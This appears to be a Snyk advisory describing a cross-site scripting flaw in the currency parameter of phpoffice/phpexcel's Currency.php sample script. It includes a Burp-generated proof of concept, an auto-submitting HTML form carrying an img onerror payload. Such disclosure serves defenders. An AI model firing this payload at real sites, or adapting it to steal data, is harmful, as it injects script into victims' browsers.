Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for phpoffice/phpexcel
.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the currency
parameter of the Currency.php
script. An attacker can execute arbitrary JavaScript code in the user's browser by crafting malicious input that is improperly sanitized.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
<input type="hidden" name="number" value="1234.5678" />
<input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" />
<input type="hidden" name="decimals" value="2" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="spacing" value="0" />
<input type="hidden" name="submit" value="Display Mask" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>